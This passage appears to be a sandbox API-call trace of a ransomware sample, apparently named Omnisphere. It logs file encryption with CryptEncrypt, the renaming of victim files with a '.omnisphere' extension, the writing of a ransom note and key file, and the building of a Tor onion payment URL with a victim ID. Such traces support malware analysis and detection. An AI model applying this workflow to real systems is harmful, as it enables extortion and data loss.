dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.198] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.198] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.198] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.198] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.198] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.198] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.198] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.198] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.198] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.198] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.198] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.198] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.198] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.199] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.199] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.199] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.199] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.199] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.199] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.199] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.199] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.199] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.199] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.199] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.199] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.199] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.199] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.199] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.199] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.199] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.199] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.199] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.199] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.199] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.199] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.199] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.199] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.199] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.200] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.200] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.200] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.200] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.200] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.200] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.200] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.200] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.200] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.200] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.200] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.200] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.200] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.200] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.200] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.200] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.200] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.200] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.200] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.200] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.200] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.200] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.201] CryptDestroyKey (hKey=0x16396a8) returned 1 [0127.201] CryptReleaseContext (hProv=0x1668460, dwFlags=0x0) returned 1 [0127.201] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x4cd, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.201] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.201] GetProcessHeap () returned 0x1600000 [0127.201] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2aa) returned 0x16efb98 [0127.201] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\uuXUBt8x.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\uuxubt8x.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\uuXUBt8x.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\uuxubt8x.lnk.omnisphere")) returned 1 [0127.202] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\uuXUBt8x.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\uuXUBt8x.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\uuXUBt8x.lnk.omnisphere.id" [0127.202] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\uuXUBt8x.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\uuxubt8x.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.203] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.204] CloseHandle (hObject=0x3c0) returned 1 [0127.204] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.204] CloseHandle (hObject=0x288) returned 1 [0127.204] SetEndOfFile (hFile=0x28c) returned 1 [0127.205] FlushFileBuffers (hFile=0x28c) returned 1 [0127.207] CloseHandle (hObject=0x28c) returned 1 [0127.207] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\uuXUBt8x.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.207] GetProcessHeap () returned 0x1600000 [0127.208] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f20c0 [0127.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.208] GetProcessHeap () returned 0x1600000 [0127.208] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1b18 [0127.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1b18, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.208] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.208] GetProcessHeap () returned 0x1600000 [0127.208] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d8228 [0127.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d8228, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.208] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.208] GetProcessHeap () returned 0x1600000 [0127.208] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d9c90 [0127.208] PathCombineW (in: pszDest=0x16d9c90, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.208] GetProcessHeap () returned 0x1600000 [0127.208] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16e6688 [0127.208] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.208] WriteFile (in: hFile=0x28c, lpBuffer=0x16e6688*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16e6688*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.209] CloseHandle (hObject=0x28c) returned 1 [0127.209] GetProcessHeap () returned 0x1600000 [0127.209] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f20c0 | out: hHeap=0x1600000) returned 1 [0127.209] GetProcessHeap () returned 0x1600000 [0127.209] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0127.209] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.209] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.209] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.209] CloseHandle (hObject=0x28c) returned 1 [0127.209] GetProcessHeap () returned 0x1600000 [0127.209] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.209] GetProcessHeap () returned 0x1600000 [0127.209] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656430 | out: hHeap=0x1600000) returned 1 [0127.209] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20099e64, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20099e64, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x20099e64, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x4f5, dwReserved0=0x0, dwReserved1=0xd3, cFileName="V5Z9MVm.lnk", cAlternateFileName="")) returned 1 [0127.210] GetProcessHeap () returned 0x1600000 [0127.210] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x98) returned 0x167b808 [0127.210] PathCombineW (in: pszDest=0x167b808, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="V5Z9MVm.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\V5Z9MVm.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\V5Z9MVm.lnk" [0127.210] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.210] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\V5Z9MVm.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\v5z9mvm.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.210] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1269) returned 1 [0127.210] GetTickCount () returned 0x115fbe1 [0127.210] GetTickCount () returned 0x115fbe1 [0127.210] GetTickCount () returned 0x115fbe1 [0127.210] GetTickCount () returned 0x115fbe1 [0127.210] GetTickCount () returned 0x115fbe1 [0127.210] GetTickCount () returned 0x115fbe1 [0127.210] GetTickCount () returned 0x115fbe1 [0127.210] GetTickCount () returned 0x115fbe1 [0127.210] GetTickCount () returned 0x115fbe1 [0127.210] GetTickCount () returned 0x115fbe1 [0127.210] GetTickCount () returned 0x115fbe1 [0127.210] GetTickCount () returned 0x115fbe1 [0127.210] GetTickCount () returned 0x115fbe1 [0127.210] GetTickCount () returned 0x115fbe1 [0127.210] GetTickCount () returned 0x115fbe1 [0127.211] GetTickCount () returned 0x115fbe1 [0127.211] GetTickCount () returned 0x115fbe1 [0127.211] GetTickCount () returned 0x115fbe1 [0127.211] GetTickCount () returned 0x115fbe1 [0127.211] GetTickCount () returned 0x115fbe1 [0127.211] GetTickCount () returned 0x115fbe1 [0127.211] GetTickCount () returned 0x115fbe1 [0127.211] GetTickCount () returned 0x115fbe1 [0127.211] GetTickCount () returned 0x115fbe1 [0127.211] GetTickCount () returned 0x115fbe1 [0127.211] GetTickCount () returned 0x115fbe1 [0127.211] GetTickCount () returned 0x115fbe1 [0127.211] GetTickCount () returned 0x115fbe1 [0127.211] GetTickCount () returned 0x115fbe1 [0127.211] GetTickCount () returned 0x115fbe1 [0127.211] GetTickCount () returned 0x115fbe1 [0127.211] GetTickCount () returned 0x115fbe1 [0127.211] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668c58) returned 1 [0127.212] CryptImportKey (in: hProv=0x1668c58, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16394e8) returned 1 